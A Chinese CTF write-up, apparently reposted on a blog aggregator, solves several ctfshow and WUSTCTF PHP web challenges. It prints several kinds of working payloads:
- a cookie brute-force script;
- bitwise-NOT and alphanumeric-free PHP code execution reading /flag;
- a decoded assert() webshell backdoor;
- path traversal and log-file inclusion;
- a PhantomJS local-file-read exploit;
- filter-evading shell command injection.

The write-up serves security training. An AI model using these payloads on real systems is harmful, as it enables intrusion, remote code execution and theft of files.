ctfshow-36D杯

ctfshow-36D杯

给你shell

 ($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";

这是个弱比较,输入?give_me_shell前三个是0说明二进制小于1000000就是ASCII的64,

0-32是不可见或非打印字符),它们用于控制字符设备、打印机等设备的行为。

32-64是数字和一些字符

所以判断前三个是数字,是数字就若比较就只比较数字了(PHP)

所以爆破

import requests
url="http://6edac18b-df54-486f-81f2-dd6630be78bf.challenge.ctf.show/index.php?give_me_shell"
for i in range(1,1000):headers = {'cookie': 'secret={"secret": ' + str(i) + '}'}res = requests.post(url, headers=headers)if "0006464640064064646464006406464064640064006400000000000" not in res.text:print(headers['cookie'])break

image-20250206110118613

$;^f/*&),`"'都没了

用脚本取反

<?php
$str = "/flag";  // 直接写入字符串,不需要空格分隔
​
echo "~";
foreach (str_split($str) as $char) {  // 使用 str_split 将字符串按字符分割echo "%" . bin2hex(~$char);  // 取字符的 ASCII 值,按位取反并转为十六进制
}
?>

?code=]=123?><?=require~%d0%99%93%9e%98?>

你没见过的注入

有提示

  1. 登陆不上去找txt

去robots.txt

/pwdreset.php有重置密码的页面,真后门

然后是个文件上传,传了个txt文件,看后边的type是

image-20250206132214667

你取吧

源码就是个直接的rce,过滤了字母和俩符号

法一

利用原有的数组进行rce

?code=`$_[2]$_[0]$_[19] /$_[5]$_[13]$_[0]$_[6]`

image-20250208122119289

法二

无数字字母rce

/GET
?code=1);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);(1
​
/POST
_=system('cat /flag');

法三

读取提示

?code=${$_{7}.$_{8}.$_{12}.$_{19}}

下载压缩包和解密脚本然后就解出一个码

?><?php @eval("//Encode by  phpjiami.com,Free user."); ?><?php
$ch = explode(".","hello.ass.world.er.rt.e.saucerman");
$c = $ch[1].$ch[5].$ch[4]; 
@$c($_POST[7-1]);
?>
<?php 

hint.php拿shell

ALL_INFO_U_WANT

​
visit all_info_u_want.php and you will get all information you want
​
= =Thinking that it may be difficult, i decided to show you the source code:
​
​
<?php
error_reporting(0);
​
//give you all information you want
if (isset($_GET['all_info_i_want'])) {phpinfo();
}
​
if (isset($_GET['file'])) {$file = "/var/www/html/" . $_GET['file'];//really baby includeinclude($file);
}
​
?>
​
really really really baby challenge right? 

扫描出index.php.bak,这个跟题目也不符合啊,要↓才出文件,这是要猜啊

/all_info_u_want.php?file=../../../../etc/passwd

,直接日志文件包含

image-20250208124913737

1=system('grep -r "ctfshow" /etc');出flag

RemoteImageDownloader

进行访问的时候看响应头PhantomJS/2.1.1,有个CVE-2019-17221

https://github.com/h4ckologic/CVE-2019-17221/blob/master/PhantonJS_Arbitrary_File_Read.pdf

上👆写的很详细的,payload也给了

<html><head><body><script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///flag");x.send();</script></body></head>
</html>

WUSTCTF朴实无华Revenge

num="-0",反转后的字符串是"0-"。intval("-0")=0,intval("0-")=0。所以$numPositve === $numReverse(0 === 0),同时原字符串"-0"不是回文。所以满足条件。

或者?num=0.001.0

或者6.60

弱比较,0e开头并且双md5之后还是0e开头的字符串

0e1138100474

get[flag=nl</flag

WUSTCTF朴实无华Revenge_Revenge

?num=0.00&md5=0e1138100474&get[flag=c\at%09flag.p\hp
?num=0.00&md5=0e1138100474&get[flag=c\at<flag.p\hp

参考

https://www.shawroot.cc/848.html#0x05_WUSTCTF_pu_shi_wu_hua_Revenge_Revenge
https://www.cnblogs.com/phant0m/articles/16533285.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/69728.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux ARM64 将内核虚拟地址转化为物理地址

文章目录 前言一、通用方案1.1 kern_addr_valid1.2 __pa 二、ARM64架构2.1 AT S1E1R2.2 is_kernel_addr_vaild2.3 va2pa_helper 三、demo演示参考资料 前言 本文介绍一种通用的将内核虚拟地址转化为物理地址的方案以及一种适用于ARM64 将内核虚拟地址转化为物理地址的方案&…

单例模式和单例Bean

单例模式 定义&#xff1a;单例模式是一种软件设计模式&#xff0c;它确保一个类只有一个实例&#xff0c;并提供一个全局访问点来访问这个实例。 实现方式 饿汉式&#xff1a;在类加载时就立即创建单例实例&#xff0c;线程安全&#xff0c;调用效率高&#xff0c;但可能会造成…

全排列(力扣46)

这道题让我们求这个集合有多少种排列方式&#xff0c;那么与之前组合问题的不同就在于要考虑元素之间的顺序了&#xff0c;所以每一层递归的or循环的起始值无需变量控制&#xff0c;都从0开始。但是一个排列中不能出现相同元素&#xff0c;所以别忘了去重&#xff0c;这里的去重…

本地部署DeepSeek集成VSCode创建自己的AI助手

文章目录 安装Ollama和CodeGPT安装Ollama安装CodeGPT 下载并配置DeepSeek模型下载聊天模型&#xff08;deepseek-r1:1.5b&#xff09;下载自动补全模型&#xff08;deepseek-coder:1.3b&#xff09; 使用DeepSeek进行编程辅助配置CodeGPT使用DeepSeek模型开始使用AI助手 ✍️相…

云原生AI Agent应用安全防护方案最佳实践(上)

当下&#xff0c;AI Agent代理是一种全新的构建动态和复杂业务场景工作流的方式&#xff0c;利用大语言模型&#xff08;LLM&#xff09;作为推理引擎。这些Agent代理应用能够将复杂的自然语言查询任务分解为多个可执行步骤&#xff0c;并结合迭代反馈循环和自省机制&#xff0…

解锁云电脑爽玩TGA游戏,ToDesk、海马云等多款云电脑游戏横测

作为一名游戏爱好者&#xff0c;我深入研究了云电脑技术在游戏娱乐中的应用。通过对比传统游戏机与云电脑的成本效益&#xff0c;我发现云电脑以其低成本和灵活性脱颖而出。我以自身为例&#xff0c;分析了云电脑如何满足对游戏体验的高要求。在测评中&#xff0c;我选择了ToDe…

【Android开发】安卓手机APP使用机器学习进行QR二维码识别

前言:本项目是一个 Android 平台的二维码扫描应用,具备二维码扫描和信息展示功能。借助 AndroidX CameraX 库实现相机的预览、图像捕获与分析,使用 Google ML Kit 进行二维码识别。为方便大家了解项目全貌,以下将介绍项目核心代码文件 MainActivity.java 和 AndroidManifes…

uniapp中对于文件和文件夹的处理,内存的查询

目录 移动文件到指定文件夹 新增本地文件夹 设定本地文件过期时间&#xff0c;清除超时文件&#xff0c;释放内存 操作本地文件之----删除 uniapp获取设备剩余存储空间的方法 读取本地文件夹下的文件 移动文件到指定文件夹 function moveTempFile(tempFilePath, targetFo…

qt widget和qml界面集成到一起

将 Qt Widgets 和 QML 界面集成在一起可以利用 QQuickWidget 或 QQuickView。以下是基本步骤: 使用 QQuickWidget 创建 Qt Widgets 项目: 创建一个基于 Widgets 的应用程序。添加 QQuickWidget: 在你的窗口或布局中添加 QQuickWidget。 例如,可以在 QMainWindow 中使用: …

HTML之JavaScript使用JSON

HTML之JavaScript使用JSON JSON(JavaScript Object Notation)是一种轻量级的数据交换格式&#xff0c;易于人阅读和编写&#xff0c;同时也易于机器解析和生成。JSON是JavaScript对象的字符串表示法&#xff0c;它使用文本表示一个js对象的信息&#xff0c;可以将json字符串转换…

新数据结构(4)——Java继承

基本概念 继承的本质&#xff1a;重复使用已经定义好的方法和域&#xff0c;实现代码的重复利用。 使用继承之后&#xff0c;创建的子类可以方便地调用父类中已经定义的方法。 一个继承的例子&#xff1a; 重载和重写 重载 重载&#xff1a;发生在同一个类里&#xff0c;指…

VMware Workstate 的 Ubuntu18 安装 vmware tools(不安装没法共享)

在共享主机路径后&#xff0c;可以在&#xff1a; /mnt/hgfs/下方找到共享的文件。但没有安装vmware tool时是没法共享的。 如何安装vmware tool&#xff0c;网上版本很多。这里记录一下&#xff1a; VMware Workstation 17 Pro&#xff0c;版本&#xff1a;17.6.0 虚拟机系统…

【每日一题 | 2025】2.3 ~ 2.9

个人主页&#xff1a;GUIQU. 归属专栏&#xff1a;每日一题 文章目录 1. 【2.3】P8784 [蓝桥杯 2022 省 B] 积木画2. 【2.4】P8656 [蓝桥杯 2017 国 B] 对局匹配3. 【2.5】[ABC365D] AtCoder Janken 34. 【2.6】P8703 [蓝桥杯 2019 国 B] 最优包含5. 【2.7】P8624 [蓝桥杯 2015…

ARM Cortex-M3/M4 权威指南 笔记【二】架构

一、架构 1.1 架构简介 Cortex-M3/M4 处理器都基于 ARMv7-M 架构。最初的 ARMv7-M 架构是随着 Cortex-M3 处理器一同引入的&#xff0c;而在 Cortex-M4 发布时&#xff0c;架构中又额外增加了新的指令和特性&#xff0c;改进后的架构有时也被称为 ARMV7E-M。要了解 ARM7-M 和…

Java进阶14 TCP日志枚举

Java进阶14 TCP&日志&枚举 一、网络编程TCP Java对基于TCP协议得网络提供了良好的封装&#xff0c;使用Socket对象来代表两端的通信端口&#xff0c;并通过Socket产生IO流来进行网络通信。 1、TCP协议发数据 1.1 构造方法 方法 说明 Socket(InetAddress address…

【学习笔记】vue-cli中组件间传参的方式

一、父子组件传参 首先创建子组件,子组件的名字为component1.vue <template><div class""><div class""><span>接受父组件:{{name}}</span><el-button type"primary" click"Forward()">打印父组…

jenkins备份还原配置文件

下载ThinBackup插件 方式1 从插件市场直接下载 Manage Jenkins->Manage Plugins->可选插件搜索 注意&#xff1a;有时可能因为网络或者版本问题下载不了&#xff0c;好像是默认下载最新版本&#xff0c;可选择手动安装&#xff01; 方式二 手动安装插件 点击查看手…

剑指 Offer II 019. 最多删除一个字符得到回文

comments: true edit_url: https://github.com/doocs/leetcode/edit/main/lcof2/%E5%89%91%E6%8C%87%20Offer%20II%20019.%20%E6%9C%80%E5%A4%9A%E5%88%A0%E9%99%A4%E4%B8%80%E4%B8%AA%E5%AD%97%E7%AC%A6%E5%BE%97%E5%88%B0%E5%9B%9E%E6%96%87/README.md 剑指 Offer II 019. 最…

基于单片机的电子式单项智能电表设计(论文+源码)

1. 系统整体方案设计 本课题为基于单片机的电子式单项智能电表&#xff0c;在此设计如图2.1所示的系统总体架构&#xff0c;其采用STM32单片机作为主控制器&#xff0c;搭配外设HLW8032模块实现对电压&#xff0c;电流&#xff0c;功率因数&#xff0c;电能消耗等参数进行检测…

C#/.NET/.NET Core技术前沿周刊 | 第 24 期(2025年1.27-1.31)

前言 C#/.NET/.NET Core技术前沿周刊&#xff0c;你的每周技术指南针&#xff01;记录、追踪C#/.NET/.NET Core领域、生态的每周最新、最实用、最有价值的技术文章、社区动态、优质项目和学习资源等。让你时刻站在技术前沿&#xff0c;助力技术成长与视野拓宽。 欢迎投稿、推荐…